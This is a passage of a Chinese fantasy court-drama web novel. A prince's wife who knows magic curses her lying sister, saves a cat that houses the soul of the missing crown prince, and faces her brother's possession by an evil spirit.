林如风忍不住给林倾月上眼药:“我妹妹原本好好的,午间吃饭的时候,还努力和晋王妃修复姐妹关系。可晋王妃却屡屡恶言相向,珍儿身子弱,可不就被气倒了?”
东方宴闻言,冷冷地瞅了林倾月一眼:“当真?”
林倾月抿了口茶,淡淡地道:“你既然如此关心,何不亲自去看看?”
东方宴当即就站起身来,到底还是有些廉耻,知道私会小姨子与理不合。
于是他对林倾月道:“你既然清闲,不如带本王去逛逛园子。”
逛园子是假,想要借机探视是真。
呵,既要当婊子,又要立牌坊。虚伪!
周氏悄悄使了个眼色,身边的嬷嬷不动声色地退了出去。
林倾月看在眼里,微笑应下:“好。”
路上,东方宴步履匆匆,满面忧色。
林倾月不由地想:那晚新婚夜,他也是这样急切地去探视林如珍吧?却将新婚的妻子弃之不顾。
若非他的缺席,假郡主又怎会有机会行凶?
才走到后花园,就听到琴声入耳,悠扬婉转。
东方宴快走几步,拐过一处假山,就见临湖水榭,佳人独坐抚琴。
林如珍罗裙摇曳,珠钗斜坠,素手在琴弦上轻拢慢捻。
琴声如诉如泣,似在讲述少女情怀。
她弹得专心,连有脚步声靠近,都彷若未察。
直到东方宴小心地唤了一声:“珍儿……”
“咚——”琴弦恰到好处地挑断。
她幽幽回神,抬眸看到东方宴的时候喃喃地道,“殿下……我是太想念你了吗?竟然生出幻觉。”
说话的时候,嘴巴又疼了。她努力忍住,才没破坏氛围。
东方宴赶忙上前:“怎会是幻觉呢?是本王来看你了。珍儿,听说你身子不舒服,哪儿不舒服?本王让御医来给你瞧瞧。”
“殿下,当真是你?”她眼底浮出惊喜,“我还以为殿下新婚燕尔,早就把珍儿忘到脑后了。”
“不会。你对本王有救命之恩,本王答应过你此生绝不辜负。”
“殿下,珍儿当日救你并非想要挟恩求报——啊!”
刺痛伴随着谎言降临,比起之前痛感更为强烈。
第10章 特殊的癖好
林如珍惊呼一声,捂着嘴,暗暗腹诽:怎么回事?刚才喝了大夫开的清补去火的汤药,已经好多了。怎么又突然剧痛起来?
“珍儿你怎么了?”
林如珍摇了摇头,含糊不清地道:“嘴疼,可能有些上火。”
东方宴道:“本王府上有御赐的雪莲,乃是清热去火的佳品,晚些时候叫人给你送来。”
林如珍点了点头。
东方宴关切地道:“珍儿,你脸上有些苍白,若是还难受就先回房吧。”
“我不难受……”林如珍还想再和东方宴再多处一会,顺便借机给林倾月上些眼药,结果一句话还没说完,又是一阵针扎火灼般的剧痛。
“不难受”也是谎话啊。
林如珍痛得都颤抖了起来,整个人就顺势依靠在东方宴怀里。
“上火怎会如此严重?”东方宴也是紧张不已。
林如珍正想再说些什么,可一开口,一股子恶臭从她嘴里飘出。
东方宴下意识屏息,余光一瞥,就看到林如珍满嘴都是大大小小的疮,一个叠着一个,有些还在流脓水。
饶是东方宴见多识广,也被吓得头皮发麻,脊背僵直。
“你丫鬟呢?来人,好好照顾二小姐!”东方宴忍着恶心,推开怀里的佳人。
“既然你今日不舒服,就好生歇着。本王改日再来看你。”
说罢,他转身离去。步履仓促,一如来时。
林如珍不明白,晋王的态度为什么会转变得这样快。
她怎么也想不到,林倾月在她身上种下了名为“诚实”的符咒。
对于说谎者,最好的办法,就是让谎言反噬其身。
一个谎话一个疮,谎话越多溃烂的疮也就越多。恶化到后来,就是一张口满嘴恶臭。
解决之法,唯“诚实”而已。
可惜,对于林如珍那样的人来说,享受惯了谎言带来的好处,早已忘了什么叫“诚实。”
东方宴仓促地走到假山附近,就看到林倾月嘴里叼着一根狗尾巴草,闲闲地靠在树干上。唇角弯弯含笑,也不知道在笑些什么。
“你在此做什么?”不知为何,她此刻的笑让东方宴觉得很不舒服。
林倾月笑盈盈地说:“臣妾在给王爷望风呀,免得叫人看到晋王殿下私会小姨子,有伤风化。”
她原本还以为,东方宴对林如珍情深义重,如今看来也不过尔尔。
东方宴本来没觉得有什么不妥,被林倾月这么一怼,顿时就觉得面子挂不住,欲盖弥彰地解释了一句:“碰巧遇见,怎算私会?回府吧!”
林如珍回到房里,对着镜子一照,自己都吓了一跳:什么时候又多出了那么多的疮。
而且新长出来,比之前的还要大,几乎要覆盖了她半条舌头,说话都疼。
好在东方宴对林如珍还算看重,人虽然走了,却没忘记给她请御医。
来看诊的乃是太医院的院使,医术一绝,专门给帝王看诊。若非晋王的面子,根本请不动他。
李院使看罢,也觉得奇怪。口舌生疮着不少见,可如此突然,且生长如此快的疮当真是闻所未闻!
“院使,能否医治?”这才是林霄最为关心的。
李院使道:“本官先开个治疗口疮的方子,二小姐喝三天汤药试试。若是能好,自然皆大欢喜。若是不能好,那就要另寻途径了。”
林霄问:“另寻途径是什么意思?”
李院使捋着花白的长须道:“也许是中毒,也许是着了什么特殊的道。不过这些并非本官擅长,不敢妄下言论。”
说罢,他开了方子,就带着药童告辞了。
林霄自然跟在后面殷勤地送出府去。
转身回来的时候,就看到儿子一脸杀气地往外冲去。
“风儿,你干什么去?”
“珍儿的事,肯定和林倾月有关。没准就是中午吃饭的时候,她悄悄给珍儿下了什么毒!这蛇蝎心肠的女人,就不该让她回门!”
“我去晋王府去!晋王那么关心珍儿,肯定会帮珍儿做主!”林如风说着就风风火火地要冲去晋王府。
“不准去!”林霄倒是理智一些,把儿子给拦住了,“事情没弄清楚前,不要妄下定论。”
他疼爱林如珍没错,但前提是这个女儿得有价值。若是口疮一直不好,张嘴臭气熏天,别说嫁给晋王了,只怕寻常的贵族子弟都不敢娶!
“此事,为父会派人查清楚。若真和月儿有关,那她必然也有办法解。若和她无关,你就算打死了她,也没办法解珍儿之苦,反而让月儿记恨。到底是一家人,关系不该闹得太僵。”
从前林霄没怎么关注过林倾月,下意识地认为她从乡下归来,上不得台面。
今日一见,才发现她整个人的气场完全不同,和晋王的关系似乎也不像预想的那样水深火热。
“总之,不准你去晋王府闹事,否则我饶不了你!你若是闲得没事,就去柳家把你妻子接回来。总是往娘家跑,传出去显得我们侯府刻薄儿媳。”
提到妻子柳氏,林如风只觉得更加烦躁。
一个不会下蛋的女人,他没有休妻已经算是给她脸了。
今日不过就是当众打了她一个耳光,她竟就跑回娘家了。
连母亲辛辛苦苦给她求来的生子秘药都不肯喝。
如今还要我低声下气地去求她回来,真当自己是金枝玉叶了?
看来是先前打得不够狠。
可恶!
林如风出侯府的时候,乌金西坠,将将向晚。
他骑着马儿,路过双燕巷,听到里面传来幽幽的丝竹声时,心就痒痒起来。
最近林霄管束得紧,他已经许久没有来这里寻欢作乐了。
昨儿听说,新来不少倌儿。不光有十三四岁、身娇体软的小童。还有身形魁梧,能刷枪舞剑的壮汉。
——相比之下,他是更喜欢后者的。
“罢了,先去舒爽一通后,再去柳府接人。”
反正他那丈人、岳母自觉女儿不能生育,亏欠了林如风。回回见面都百般讨好。
每当小夫妻俩闹矛盾时候,不论对错,林父、林母都逼着女儿先低头,生怕林如风以七出之罪将柳氏休弃。
等林如风春风一渡,扶着屁股,满脸餍足地从双燕巷里出来时,已经是夜阑人静。
远处有梆子声,遥遥入耳。
林如风皱了皱眉:“这么快已经子时了?得快些去柳府,今晚若不回去,父亲那边不好交代。”
他正准备翻身上马时,马儿却突然受到了惊吓,长嘶一声,丢下主人哒哒地跑远了。
“畜生,回来!”
林如风追着跑了一阵,也没追上那马,只发现不知不觉间到了处更为偏僻的巷子。
“可恶,等本公子回去招人擒了你回来,必要将你这畜生拆骨扒肉,大卸八块!”
“呼——”冷风刮过,周围温度骤降。
林如风打了个冷颤,莫名的感觉好像有什么东西一直跟在身后。
目光微微下移,只看到脚下的影子里,慢慢地分裂出了另一道影子。
起初,那新的影子还是细细长长,蛇一般的样子。但是很快,就膨胀起来,甚至还伸出了手、脚步、脑袋……
“啊——”
凄凉的惨叫,在夜空里回荡。
第11章 花有再开日,人无再见时
回府的路上,东方宴难得的没有骑马,而是和林倾月坐在马车里,顺便问她些事。
“你什么时候会玄术,本王怎么不知?”
“臣妾会的很多,只是王爷知之甚少。”
确实,东方宴对林倾月的了解几乎等于零。
成婚之前,他去侯府作客的时候,偶然和林倾月打过几次照面。每次小姑娘都低头垂眸,一副怯生生的样子。
东方宴甚至都没看清楚她长什么模样。
此刻,他抬眸看去,只见车厢里的女子,倩倩素手挑开车帘,饶有兴致地望着窗外的景物。
车外的长街,华灯初上。暖黄的灯光透窗而过,将她五官勾勒出几分柔美的气质。
那双漆黑的眼眸中,藏着他看不懂的情绪——明明眼底含着笑,却又看不到一点真心和欢愉。
头一次,东方宴忍不住想要窥探她内心的真实想法,想要了解她到底是个怎样的人。
忽然那双秋水明眸里荡漾出了别样的光彩,仿佛被什么吸引了。
“停车!”林倾月忽然喝了一声,而后不等马车挺稳,她就急不可耐地跳了下去。
“小心!”
东方宴几乎下意识地喊出了声,等他跟着下了车后,就看到林倾月站在一个首饰摊前,正拿着一个钗子出神的看着。
那钗子只是朴实的木钗,钗头点缀着一簇簇明黄色的桂花,虽然造型雅致,但一眼看去就知用料并不名贵,只是寻常市井的玩意而已。
可林倾月却看楞了什么,直到东方宴说了一句:“你若想要钗子,本王可陪你去珍宝斋挑选。那儿首饰制品用料名贵,非市井小摊可比。”
他念在昨晚的事,想着送她一套首饰答谢。
“不必了。”林倾月取下发上的金钗,递给小贩,“我今日没带钱,就用这金钗换你的木钗。”
东方宴奇道:“你当真喜欢,本王买给你就是了。”
林倾月却已经将金钗递了过去,还对小贩道:“不用包了,我戴着。”
东方宴看着她头上的桂花木钗,怎么看怎么觉得碍眼。
“你好歹是堂堂王妃,戴个简陋的木钗招摇过市,是想让人觉得本王刻薄了你?”
“世间最珍贵的,莫过于我心悦之。”
她说这话的时候,语气淡淡,眼眸里闪着他看不懂的情绪。
素手抚上发簪上的桂花,那小小的花儿,每一朵都仿佛带着前世的记忆,铺天盖地向她袭来。
她仿佛又看到了那人,站在桂花笑着对她说:“桂花四季常青,花香馥郁绵延,象征着爱情坚志不渝。”
那时的林倾月后宫有无数美男,早就养成薄情寡义的性子。即便面对一片真心,也并不觉得可贵。
她折下一束桂花,嗅了嗅后,随手丢弃:“可惜花有凋谢时,爱有消散日。莫要跟本座谈什么坚志不渝,无趣。”
她甩袖离去,眼角余光看到的是他弯下腰,捡拾花束的落寞身影。
几日之后,他亲手制了一支桂花木钗,对她说:“陛下不喜花落,臣就为您做了这枝永不凋落的桂花钗。陛下,可喜欢?”
“呵,粗鄙。”她嘴里满是嫌弃,可最后还是收下了钗子。
再后来,她的暴行被推翻,自焚而死的时候。后宫三千佳丽,树倒猢狲散。
唯有他,越过纷杂的人群,跨过火海烈焰,飞蛾扑火般向她奔来……
穿越之后,她的心境变了许多。
前尘往事,都刻意不再提及。唯独今晚,无意中看到的那只桂花钗,才勾起了许多的回忆。
其实,东方宴说得不错。这钗确实简陋了些,远不如那人做得精美。
可惜,花有再开日,人无再见时。
回王府没多少路了,林倾月索性弃了马车改为步行。
奇怪的是,东方宴居然也不坐车了,纡尊降贵的走在她身侧,只是林倾月没什么心情再和他虚与委蛇。
长街的繁华落在身后,前方的街口忽然蹿出一个黑色的影子,跌跌撞撞,“扑通”一声倒在墙脚下。
竟是一只满身血污、十分消瘦的狸花猫。
“那畜生呢?”
“他娘的,敢坏老子好事,老子要活剥它的皮,再丢锅里炖了!”
“死猫在那里,跑不了咯!”
三个拿着砖头、棍子的男人,骂骂咧咧地冲了出来。
看到林倾月和东方宴,以及他们身后的侍卫、马车等,几人都吓了一跳。
“贵人在此,休要惊扰。快滚!”侍卫冷着脸呵斥。
带头的男人大着胆子解释:“贵人勿怪。我们哥几个刚才好好走在路上,突然被一只发了疯的猫冲出来一顿抓挠。就是那只畜生——且让我们把猫带走,也省得那猫再突然暴起伤人,叨扰贵人。”
东方宴冷冷地扫了那几人一眼,但见那几人脸上、手上都带着深深的血痕。有些伤口还在流血。
果然是只疯猫!
东方宴一向不喜欢猫,更不屑和平民为伍,一言不发抬步离去。
侍卫们只负责护卫,也并不想管闲事。
那几人对着东方宴点头哈腰了几下后,步履匆匆地围到狸花猫的跟前,拎着后腿就将猫倒提起来。
那狸花猫本已昏迷,被扯到后腿时又疼醒,猫头微微挣扎了几下,吐血的嘴里发出几声微弱的猫叫。
林倾月定住了脚步,忽然道:“等一等,那猫你们不能带走。”
几人僵住了脚步,一人满脸谄媚地解释:“这是只疯猫,见人就咬。附近的老人小孩都被咬过。我们兄弟几个也是看不过,这才想把它抓去处理掉。”
“哦,是吗?”林倾月笑笑,“可它刚才说,看到你们三个欺辱妇女,所以才对你们动爪。”
第12章 寄居在猫身里的男子
就在这时,小道的尽头,传来一个女子的呼喊:“就是那几个恶徒刚才差点强暴我!差爷,快把他们抓起来!”
几个男人见事情暴露了,还想跑已经来不及了,转眼间就被受害者找来的捕快给捉拿了。
东方宴惊讶地看向林倾月:“你居然还懂猫语?”
这女人真是越来越叫他惊讶了!
林倾月也没过多解释,把那只重伤的小猫拎起来瞅了瞅,心中嗤笑:魂魄都虚弱成这样,居然还有心思多管闲事?
受害的女子,年方二八,本是街上的卖花女,收摊回家的路上被那几个贼子围堵轻薄。
眼看就要被玷污清白,叫天天不应,叫地地不灵之时,怎么也想不到会有一只小猫从天而降,对着那三个恶徒,一顿抓挠撕咬。
受害女子则趁机跑掉,而救人的小猫很快就败下阵来,被打得奄奄一息。
此刻,猫被林倾月拎在手里,虚弱得只剩一口气。
受害女子感激又心疼,想要把小猫接过来送去救治。
林倾月道:“你救不了它,不如交给我吧。”
女人从善如流地答应了。
可当林倾月抱着濒死的猫,要坐回马车里的时候,东方宴冷着脸道:“不准。”
林倾月道:“它伤势太重,不可再吹风。”
“不准。你怎可让本王和这脏东西,一车而坐?”
东方宴最不喜欢这种毛茸茸的动物,尤其这只猫浑身血呼啦碴的,看着就让人不舒服。
“哦,那王爷就骑马吧。”话毕,林倾月就先一步带着猫登上了马车,吩咐车夫,“走!”
车夫悻悻地看向东方宴,有些左右为难。
直到东方宴吐出一个“滚”字,马车才敢走。
冷风吹得东方宴的脸色难看至极,他觉得自己今晚简直是疯了。莫名其妙陪了那女人一晚上,刚才还跟鬼迷心窍的似的,想要送她首饰。
要是换个女人,能得他如此相待,早就受宠若惊,感恩戴德了。
可林倾月呢?
她非但没有表现出丝毫的喜悦,居然还为了一只猫将他堂堂王爷丢在街上!
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第二天,街上突然多出了一个疯子,满脸污浊,脏得看不出本来模样。
疯子见人就说:
“你喜欢打人吗?嘿嘿,我最喜欢打人了,尤其喜欢被打。”
“你打我,求求你打我吧!”
有妇人被吓得花容失色,尖声跑走。
也有游手好闲的纨绔,来了玩心喊着:“有个傻子想要挨打。本公子一贯喜欢助人为乐,来人给本公子打!”
打得那疯子仰面朝天,直吐血水时,纨绔无意间一瞥,才觉得他五官有些眼熟。
再凑近细看,顿时惊呼:“林公子,怎么是你?”
被送归侯府,周氏一看儿子浑身污血,心疼得直掉眼泪。
林如风呵呵傻笑,拽着母亲的手啪啪往自己脸上招呼:
“你打我呀,打我呀!嘿嘿,我就喜欢被打,打得越狠越好……”
周氏吓得当场昏了过去,惹得一种仆妇大呼小叫。
整个侯府都乱成了一锅粥。
林霄也是乱了一阵子,直到有个婆子小心翼翼地说了一句:“公子这样子,像遇上脏东西了。”
一语惊醒梦中人,林霄急忙吩咐:“快去玄镜司,请谢大人!”
相比于侯府的一团乱,林倾月这一天一夜过得清静自在。
闲来无事就屏退下人,修炼、打坐。
噢对了,期间还顺手救活了一只特殊的猫。
猫,是临近傍晚的时候才苏醒过来。
它的脑袋上还绑着几圈绷带,只露出一只毛茸茸的尖耳朵,可爱又滑稽。
虽然伤口处还残留着痛感,但是精神好多了。睁开两个眼睛,就滴溜溜地乱转。
当它的目光转到旁边的太师椅上,看到坐在那儿的林倾月时,目光幽深了几分。
“醒了?”
“喵喵。”
狸花猫虚弱地喵了两声,然后又装模作样地准备舔爪子。
林倾月道:“不必装了,我知道你是人。”
猫的动作一僵,眼里顿时露出几分惊诧。
忽然又想起自己昏迷前的最后一刻,她似乎听懂自己的话。
难道就因为如此,她就看穿了自己的身份?
既然看穿了,那也必有再装。
狸花猫摇摇晃晃地站起来,郑重地道了句:“多谢相救,他日若……”
想了想,又觉得空口承诺毫无诚意,于是话头停在口中,没有说完。
林倾月道:“说吧,你的魂魄为什么会在猫的身体里。”
那猫的眼神黯淡了些许,摇了摇头:“我也不知。大约一年多前,我意外跌落悬崖。醒来之后,就发现自己在猫的身体里。”
起初,他的魂魄和猫的身体互相排斥,意识也是浑浑噩噩的。
直到几个月之后,属于人的意识才渐渐清明起来,也能熟练地运用猫的身体行动。
他几经寻找,一路跋涉,整整走了半年多,才来到京城.
只是人的魂魄和猫的身体到底不能完全契合,强行牵连在一起,他的魂魄也越来越虚弱.
今晚又遭重创,本来是必死无疑。
幸好林倾月这两天修为有所涨进,开始能调用灵力,这才帮他修复了破损的魂魄。
狸花猫跳到梳妆镜前,看着铜镜里的自己,一时有些恍惚:
“我依靠着猫的身体寄居,魂魄和这具身体契合得越来越深,也不知道这辈子还是否能再变回人。”
林倾月闻言只觉得颇有些巧合。
她本也是一缕孤魂,借着人的身体才复活。
而眼前这人,却和她情况类似,所不同是他比较倒霉,借到的是猫的身体。
“你倒也用不着气馁,容我想想办法。说不定有朝一日,我能帮你恢复人身。”
狸花猫闻言,眼眸一愣:“你有办法?”
“若是你的原身还完好,倒是不难。不过按照你的说法,你都已经死了一年多了,想必身体早就腐烂了。”
狸花猫闻言,顿时又愣了:已经一年多了,自己的身体怎么可能还保留完好呢?
“所以,你到底是什么人?”林倾月问。
狸花猫自嘲的勾了勾猫唇:“什么人,很重要吗?”
若是肉身没有了,他作为人时无论多么显贵,都将毫无意义……
第13章 太子
“重要。”林倾月道,“即便你现在是只猫,可你的灵魂是人,也没有泯灭人性。所以,外表如何只是一叶障目而已。我能看到你身上有很浓的功德金光,还有……帝王气运。”
帝王气运在东方宴的身上也有,只不过很淡,远没有这只猫来得浓郁。
林倾月肯定地道:“你应是出身皇族,且为嫡系。”
那一瞬间,在林倾月含笑的眸光里,他有种被看穿一切的窘迫感。
但既然被看穿了,他索性也没什么好藏着噎着了。
只见狸花猫人立而起,向着林倾月郑重地作揖:“东方起感谢小姐救命之恩!”
东方起!
果然是他!
大齐当朝太子,圣上唯一的儿子。
一年前,微服出巡遭逢意外,生死不明。
齐帝对太子的情况讳莫如深,坊间传闻太子已故,也有传闻只是病重。
直到半年前,圣上着召八王来京,委以重任。外界更是坐实了太子遭逢不测,储君即将易主的传闻。
想不到,太子东方起居然变成了……一只狸花猫。
林倾月看着眼前那只浑身毛色黯淡无光,头上缠着绷带,却还人模人样郑重行礼的猫——属实滑稽。
就在这时,门外忽有丫鬟来报:“王妃,玄镜司谢守正求见,要见吗?”
王妃?
狸花猫两条后腿没站稳,一头从榻上栽倒下来。
他顾不得疼痛,翻身站起,满脸警惕:“你是王妃?哪个王爷的王妃?”
昨晚他伤得太重意识昏沉,因此也没有看见东方宴。
此刻脑子里已经迅速将八大王爷的名号都过了个遍,可无论是哪一个,若是发现自己太子的身份,必然会除之而后快。
毕竟只有太子死透了,那些王爷们才有资格上桌吃饭。
“让谢守正前厅等着。”林倾月对门外的人吩咐了一声后,只淡淡地看了猫一眼,就开门出去了。
猫垫着猫步小心翼翼地走出房门,左右环视,只见这一方小院幽静而却略显偏僻。既没有守卫,也没有丫头。
不论从哪里角度看,都不像正经王妃应有的规格。
他抬起眼眸,望着前方快要走远的身影,很快下定了决心,迈开四条腿,飞快地跟了上去。
“你为何跟着我?不怕我害你了?”
“你若害我,也不会等到现在。先前是我失态,抱歉。”
“呵……”
此时,东方宴不在府,谢守正贸然登门,王府总管本要谢客。
林倾月的丫头过来吩咐:“王妃请谢大人前厅会晤。”
管家还在犹豫,想要派人去请示王爷,谢守正却已厚着脸皮挤了进来:
“本官求见王妃,王爷不在也无妨,劳烦总管大人让让。”
到前厅等了一小会儿,林倾月就来了。
谢守正出入过不少高门大户,见识过不少诰命夫人们的仪驾。
可没有一个似林倾月这样,位居高位,身边却只有一个小丫鬟,简直连商贾人家都不如。
哦不对,她还有一只猫。
谢守正的视线下移,落在那只狸花猫的身上。
那猫非常消瘦,连背部的脊骨都隐约可见,毛色晦暗,猫头上还缠着一圈绷带。
明明已经这样惨了,可那双大而圆润的猫眼却晶莹透亮,格外有神。
他在看猫,猫也在看他。
没有寻常猫的胆小怯懦,却反而带着一种俾睨的气势。犹如高位者,看手下奴仆时的神态。
甚至让人生出,想要给那猫磕一个的错觉。
谢守正都不由得奇怪:本官为什么会对一只猫产生这种……荒唐至极的想法?
林倾月坐下后见管家还没走的意思,不由得质问:“赵安,王爷会客时你也是这般监视着?”
赵总管正想说,为了王妃的安全和清誉,奴才必须要随侍左右。
可不等他说话,就听林倾月冷喝一声:“滚下去。”
赵总管心头一惊,忙弓腰退下。
走到厅外时,他还觉得奇怪:我怎么被唬住了?不都说王妃乃是乡下之女,没见过什么世面吗?可刚才那个摄人心魂的气场,又是怎么来的?
谢守正不再看猫,敛正神色向林倾月行了个礼:“王妃果然好手段,嫁入王府没几日就将上上下下治理得井井有条。”
林倾月淡声道:“有话直说,不必浪费时间。”
谢守正道:“长宁侯府出了怪事。侯府大公子,也就是王妃您的哥哥,昨夜彻夜未归。今日一早,被人发现在街头疯疯癫癫,逢人求打。此事,王妃可知?”
林倾月挑眉轻笑:“是吗?竟不知我那兄长,还有这种受虐的倾向。倒是叫谢大人见笑了。”
谢守正开门见山地问:“这事,王妃您真不知道吗?”
林倾月摇头:“不知。”
谢守正道:“听闻昨日王妃回门,接着侯府二小姐口舌生疮,连太医都束手无策。没多久,侯府公子也跟着出事。王妃不觉得,一切都太巧合了吗?”
“朱门之内,龌龊勾当多了,谁知道报应什么时候就来了呢?至于我……”
林倾月没心没肺地笑着,“不过恰逢其会罢了。”
谢守正道:“好个恰逢其会!晋王妃,明人不说暗话。下官今日已去您娘家查看过令兄的情况,他确实是邪祟上身。”
“本官只想知道,这邪祟和您是否有关?又或者是如清安郡主事件一样,受了您的推波助澜才有机会闹事?”
“京城乃是天子脚下,下官虽然道行微薄,但也不能眼看着魑魅魍魉闹事,而无动于衷!”
他说的义正言辞,可林倾月却语气轻蔑:“我若要闹事,就不会在这里听你废话了。”
谢守正又道:“听闻王妃和家人不睦,互相之间若只是普通龃龉吵闹,本官自然不会多管。可侯府二小姐的口舌生疮、大公子的邪祟上身,明显超出了常规。身为玄镜司的鉴邪使,本官……”
“侯府二小姐怎么了?”伴着一道清冷的质问声,东方宴大步流星地走了进来。
那身绛紫色的官袍上,还浸染着夜色的寒意。
第14章 林家出事了
“林倾月,你到底对珍儿做了什么!”东方宴此刻已经怒极。
难怪昨日见珍儿情况不佳,原来竟然是林倾月这女人在背后耍手段!
亏得他还以为她嫁入王府后,收敛心性,甚至隐约对她生出几分好感。
没想到,她还是这样恶毒。果然是本性难改!
林倾月吹了吹指甲上并不存在的灰尘,道:“也没什么,就是给她种了个‘诚实咒’而已。”
“这咒,若是种在诚实良善之人的身上,不会有任何伤害。可若是种在谎话连篇之人的身上,那么她每说一次谎话,舌上就会长出一个恶疮。”
“你居然用咒!”东方宴恼怒之下,也不管是否有外人在场,“咣当”一声拔出随身宝剑,冷冷地指着林倾月。
“说,那咒如何可解?”
冰冷的剑光,映着东方宴绝情的脸庞,格外幽冷。
“无解。”林倾月耸了耸肩,神色淡然。
“林倾月,你休要挑衅本王的耐心!”
东方宴想到林如珍当时在自己怀里痛得瑟瑟发抖、眼眸含泪的可怜样就觉得心疼,他还单纯地以为她只是生病了。
没想到,居然林倾月得给种的咒!
何其恶毒!
又想到自己昨晚居然会被林倾月迷惑。今日,甚至还特别跑去珍宝斋为她精心挑选了一支翡翠雕花的簪子,就有种背叛了珍儿的感觉。
“本王再问一次,如何可解?”
“我说了,无解。”
“你当真以为本王不敢杀你?”
说话间,长剑逼近,眼看就要刺中林倾月,忽听一声尖锐的猫叫传来:“喵呜——”
狸花猫高高跳起,一爪子挥过,东方宴手背顿时落下三条血痕,握剑的手也因此颤抖了一下。
而林倾月窥得空隙出手了,一抓、一夺,眨眼间剑已在她的手里。
冰冷的剑锋横在东方宴的脖颈上。
东方宴也迅速反应过来,袖箭落下,反手对准林倾月的太阳穴。
谢守正在旁边都看傻了,回过神来,赶忙来劝:“二位夫妻一场,又是御赐良缘,天作之合,怎可大动干戈,伤了夫妻感情?”
“王爷,有话好说,先把袖箭收了。”
“王妃,您也把剑挪开,不能真伤着了!”
他一手捏着剑,一手抓着袖箭,慢慢地从两位贵人的要害处挪开,然后轻轻松了口气:
“俺的娘哎,二位今日若是双双殒命,下官的脑袋也就不保了!”
“告诉本王,珍儿的咒术到底该如何解!”东方宴不动声色地移开几步,和林倾月拉开距离
林倾月道:“说了无解,听不懂人话吗?唯一的办法,就是不再谎话连篇,诚实做人!这本是教人向善的咒术,自然要约束一生咯。”
东方宴道:“你这话是什么意思?珍儿乃纯善之人,怎么会撒谎呢?”
林倾月说:“撒不撒谎,你不是都看到了?你若不信大可去求证。”
东方宴道:“如何求证?以伤害珍儿为前提的求证?你把你妹妹当成什么了?”
眼看这二人又要开始闹腾,谢守正赶忙挡在两人中间:“二小姐的问题不算严重,可稍后再说。现在顶要紧的是侯府大公子!下官白天用符咒压下了他体内的邪祟,可终究不是长久之计。若是不能好好解决,大公子性命休也!”
几乎是话音刚落,一个长得贼眉鼠眼的男人,急吼吼地跑来:
“大人不好了,侯府大公子又暴起了!”
谢守正急得猛拍大腿:“本官就说危也,奈何您二位揪着无关痛痒的事不放,耽误了多少时间!”
东方宴冷眸眯起:“你说,什么是无关痛痒之事?”
林倾月插话:“自然是你那些情情爱爱的事啊!”
“林倾月,你真是越来越放肆!”
留在王府,难免又要和狗王爷龃龉,林倾月抖了抖衣袖,对谢守正道:“走吧,去侯府看看。”
谢守正立马殷勤地在前方开路:“王妃您请!咦,这猫也要跟来?好好,一起一起!哎?王爷您也去?”
晋王冷哼:“走你的路,休要多言!”
他主要是怕林倾月再暗搓搓的使什么手段害林如珍,当然要跟去监督。
他倒要看看,林倾月还会搞出什么来!
一行人赶到的时候,侯府已经鸡飞狗跳了。
往日衣着光鲜,自命不凡的清俊公子,此刻披头散发,手持长剑,眼眸赤红地吼着:
“我让你们打我,为什么不打?”
“既然你们不肯动手,那便轮到我来动手了!”
“杀,杀!你们都该死,统统该死!”
侯府的护卫们根本不是对手,早就被撂倒了。
而林霄见势不妙,跑去找城防卫求救。
所幸玄镜司的人及时出手,控制住了场面。
林如风张牙舞爪地想要杀人,但脖子和手脚都被玄镜司的司卫,用铁链拽着。
他像一头疯魔的野兽,拼命地想要挣脱锁链,脖颈、手腕都被寒铁勒出了血来,却依然挣不开。
这些牵制林如风的人,都是谢守正的手下,训练有素。若是普通的护卫,根本应付不来当下的场面。
“他力气太大了,大家小心!再拽紧一些,撑到大人回来!”
“是!”
侯夫人周氏站在不远处的阁楼上,担忧又无奈,只能捂着脸哭泣。
而林如珍白天吃了安神止痛的药,昏昏沉沉地睡了一天,连林如风出了事都不知道。
直到林如风再次发疯,闹出的动静太大才吵醒了她。
她出来一看到这场景,立马惊呼了起来:“你们在做什么?为何用铁链锁着我哥?”
周氏隔着些距离喊着:“珍儿,你哥遭邪祟上身,那些是玄镜司的人,绑着你哥也是怕他伤人伤己。呜呜……我可怜的风儿啊,到底谁在害你……”
林如珍心疼哥哥,更想在母亲面前表现兄妹情深,便大声地喊着:
“我哥的脖子被你们勒出血啊!你们这是要他的命啊,松开一些,快松开一些!”
司卫道:“公子此刻理智已失,若不如此,他会伤人!我等有数,暂时不会伤及公子性命。”
林如珍道:“什么叫暂时不会伤及性命?没看到他都喘不过气来了吗?邪祟上身没有要我哥的命,你们难道想要他的命吗?”
那林如风闻言越发做出痛苦表情,冲林如珍喊了一声:“妹妹,我好疼,快救救哥……”
“我哥认出我来了!他没有完全丧失理智,他就是我哥啊!你们不要伤害他!”
她天真地以为,林如风被她的亲情打动,恢复了原本的了理智。
于是她不管不顾地冲上去,试图拽开锁链,嘴里还喊着:“哥你别怕,我来救你了!”
第15章 你居然还有降妖伏魔的本事?
“小姐不可!”司卫大惊失色想要阻止,可已经来不及了。
林如珍突然的闯入,让整个阵法都乱了,约束之力顿时降低。
而林如风趁此机会奋力一震,将几个司卫给震飞了。
林如珍被突然出现的变故惊得呆立当场,愣愣地喊:“哥,你……”
“咔咔咔”林如风的脑袋僵硬地转来,猩红的眼眸变成了竖瞳,如蛇的样子,喉咙里滚出嘶哑的声音:“多谢你了,我的好妹妹……”
身后是周氏焦急的大喊:“珍儿你快跑,他不是你哥了,快跑啊!”
林如珍终于反应过来,转过身跌跌撞撞地朝周氏所在的地方跑去,嘴里哭喊着:“娘救我,呜呜……”
周氏一直站在阁楼上,时刻关注儿子在状态,阁楼入口的门则被几个嬷嬷用力地抵着。
这里暂时还算安全。
可当周氏看到心爱的养女被那邪祟追着时,她心急如焚,不顾身边人的劝阻奔下楼,喊道:“开门,快让小姐进来!”
嬷嬷道:“不行啊夫人,公子离得太近了,若是开门了公子就会进来。”
此刻,林如珍已经奔到了阁楼下,拼命地敲门喊着:“娘,开开门!哥要追上来了,呜呜我好害怕!”
“滚开!”周氏呵斥嬷嬷,“救不了小姐养你们这些酒囊饭袋还有什么用?”
她愤怒地推开嬷嬷,亲自打开了门。
“珍儿别怕,娘在。”
林如珍身后阴风阵阵,她能感觉到那邪祟的手已经伸到了自己的脖颈后。
命在旦夕的时候,她的好娘亲终于给她开了门。
那一瞬间,强烈的求生欲望让她做出最本能的反应——
她以迅雷不及掩耳之势的速度挤入门内,在周氏拉她的时候,却反手把周氏推了出去,然后迅速关上了门。
里面一片寂静,几个嬷嬷都愣愣地看着她。
林如珍瞬间痛哭流涕:“我只是太害怕了,我……我也不想啊……他们是亲生的母子,哥哥肯定不会伤害娘的。”
